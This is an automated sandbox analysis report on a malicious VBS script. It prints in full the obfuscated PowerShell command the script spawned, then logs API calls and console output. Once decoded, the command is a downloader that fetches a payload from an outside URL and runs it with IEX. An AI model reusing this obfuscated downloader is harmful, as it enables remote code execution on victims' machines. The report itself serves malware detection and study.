Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 11, 2024, 10:12 a.m.	Nov. 11, 2024, 10:23 a.m.

Size	59.1KB
Type	ASCII text, with CRLF line terminators
MD5	`4db4ffb8ea90f92efe568ff54e54c902`
SHA256	`4484fb2b0de238f6dabf4a45c92bf1f4470efbd5e93fb6d4db7a2dc93edd9865`
CRC32	`594C5F52`
ssdeep	`768:Ozq0SYncwke3zTe7Ug64+zd5ouaiSggm9qmoLAyM2lQZ:OzqvCxVehnWaugm9qZ8yZQZ`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\tartarises.vbs
1460
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; function Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumlede49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & ($Positivisterne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizzerman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFremIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac arcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfSaliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplingskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P ea SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Var,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomoniaceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconize=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d,arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bdan nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoaruStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.IsodsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalistic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf aADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,raP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibalistic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnslArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconize=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e:R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=uddaNSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ');Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Tafs Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDilleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroSo.il,okheSul. ');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUndedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td,kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Cannibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HSe,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriTRev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Achillize) {Cannibalistic3 (Drumread ' De,$GarrgKic lStnnoN,tmb Sena ShelSubc: ompACanduPosit rnto Indm DifaKunztTr ncJetaaDdskf DateDias= .bo$ semtMin.rOveru vole Hex ') ;Cannibalistic3 $Udlandes;Cannibalistic3 (Drumread 'AnneS ComTAut,AEft rTranT Por- NedsInfrlSnreETende ocipGrav Udme4 ,ub ');Cannibalistic3 (Drumread 'Mel,$V,ksgRev,l braO,ubdbCo.saGebaLF ih: obaParacAdmiHButti,entlReakl Pr i ulzGenkeAuto=Bl c(Phytt Vole.dsasscout bd,-BuslPEndoALit t npeHJamr Hnde$ZincNUdmaa.rovvdegrNRadiLUlpaOad.nEUgleS Irr)enaa ') ;Cannibalistic3 (Drumread ',ngl$Mellg TreLYakooClarB DivAOmlaltorn: PreL ExeiPascnTil.dGant=tetr$ EtygM inlForuoPrivbU loaSynsLFore:HipppAb,aeSupebCa,ne Pejr DecEAnn.sranu+Udd +Spek%Orch$RetefSofiLDeziu GraO A lb emiO Emer Cyki S etRhodE nde.fictcA heoAdmiUBildn M jtBirk ') ;$Baconize=$Fluoborite[$Lind];}$postyard=296341;$labelling=30775;Cannibalistic3 (Drumread ' dla$OverGinsplNa.iOIntebSh naH.phlt ot:Niv,SC.ameCottBAmt.aBr,ctPick S,ek= dko Str.glg,eE.eazTSejl- harcslugOSsteN EtkT Snre B,enBrneTLark Regi$Disfn polaCo.yvSa gNa beL utpO scrETaboSSati ');Cannibalistic3 (Drumread 'T ol$BestgKnallSt.koSlukb DemaBu flTe.m:kopiFVrvla QuibU flrSucciPostkInvee elr rste AbsnFastdKnubeStro1,xle0su.e0Scin Gudi=Sjak G lg[DomiSHandyLoensalsttFlskeIssum ete. I vCKoneoS.yrnIn evPokeeS ndrtekot Ta ]Azte:Mde :sk.lFdi,arInd o ffsmStanBradia TrasP ofeUrti6Inte4ElemSLum tPul r Mo.iL stnTjl g ple( Lif$V ksSTilbeGensbPr maFodbtLagr)Forn ');Cannibalistic3 (Drumread ' der$ halGMisoLSusyoThybBH,xaaTeenLSo f:ProdSTvivU verPaca,EAm hR Spar fplOPreiySnudAL bhlDriv a.kv=Fore Va d[oversUds,yanimsIjestLucaeRumrMHype. FemTAssieRa px topt Bib.ArtsE ,kunFarmC Pr OByg dMudfI LenN Kumg Kog]Ding:Dulc:ReviAW,atsSkygC CubIAl siKbsl.Tv,mgChorE GilTDic S .erT No r BusIFlleNMi dgPoly(Tris$ EmpFSemiABaisbPr er C li F rkF.stepla.RVin EKunsnCrosDBackeTryl1Eu.a0Rapa0Corn)Squa ');Cannibalistic3 (Drumread 'Sner$,varg UntLdawdo rgeb DesaTerml aad:S cag kvaaOmsksZo pfKoncoGsteR LanMHero=Pris$Gu.gSArraUDronpS reEResoRS ksrPatioHypeyAkkvaCirklBlin.Non.sEighU DisbPudgSSkriTNo dr,iliIIntrnMad gUni (Form$MajoPSm bO AllsAlveTChefyf roa vaRSkredIr e,Reak$enehlKodeA TjabPassePr tl ,obLCriaiLykkN Kilg.ill)Elae ');Cannibalistic3 $Gasform;"
  2296

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (23 events)

Time & API	Arguments	Status	Return
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:12 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 11, 2024, 10:12 a.m.			0	0

Command line console output was observed (50 out of 20948 events)

Time & API	Arguments	Status	Return
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: The term 'IEX ' is not recognized as the name of a cmdlet, function, script fil console_handle: 0x00000023	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: e, or operable program. Check the spelling of the name, or if a path was includ console_handle: 0x0000002f	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: ed, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: At line:1 char:451 console_handle: 0x00000047	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: + <#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet console_handle: 0x00000053	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; f console_handle: 0x0000005f	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: unction Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$ console_handle: 0x0000006b	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $ console_handle: 0x00000077	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumled console_handle: 0x00000083	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: e49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & <<<< ($Positivister console_handle: 0x0000008f	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: ne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un console_handle: 0x0000009b	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizze console_handle: 0x000000a7	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: rman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFre console_handle: 0x000000b3	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: mIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac a console_handle: 0x000000bf	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: rcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfS console_handle: 0x000000cb	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: aliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplin console_handle: 0x000000d7	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: gskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts console_handle: 0x000000e3	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav console_handle: 0x000000ef	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: ;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P e console_handle: 0x000000fb	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: a SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Va console_handle: 0x00000107	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: r,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomonia console_handle: 0x00000113	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: ceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconi console_handle: 0x0000011f	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: ze=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d, console_handle: 0x0000012b	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bda console_handle: 0x00000137	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: n nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoar console_handle: 0x00000143	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: uStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.Iso console_handle: 0x0000014f	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: dsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread console_handle: 0x0000015b	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalist console_handle: 0x00000167	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: ic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf a console_handle: 0x00000173	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: ADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,r console_handle: 0x0000017f	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: aP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibali console_handle: 0x0000018b	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: stic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os console_handle: 0x00000197	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE console_handle: 0x000001a3	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnsl console_handle: 0x000001af	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: ArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconiz console_handle: 0x000001bb	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: e=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e: console_handle: 0x000001c7	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=udda console_handle: 0x000001d3	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: NSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr console_handle: 0x000001df	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ') console_handle: 0x000001eb	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: ;Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Taf console_handle: 0x000001f7	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: s Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa console_handle: 0x00000203	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDi console_handle: 0x0000020f	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: lleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroS console_handle: 0x0000021b	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: o.il,okheSul. ');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUn console_handle: 0x00000227	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: dedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td, console_handle: 0x00000233	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$ console_handle: 0x0000023f	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Can console_handle: 0x0000024b	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: nibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HS console_handle: 0x00000257	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: e,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriT console_handle: 0x00000263	1	1
WriteConsoleW Nov. 11, 2024, 10:12 a.m.	buffer: Rev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Ac console_handle: 0x0000026f	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322a90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003227d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003227d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003227d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003227d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003227d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003227d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00323050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322c50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003232d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003234d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00322f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

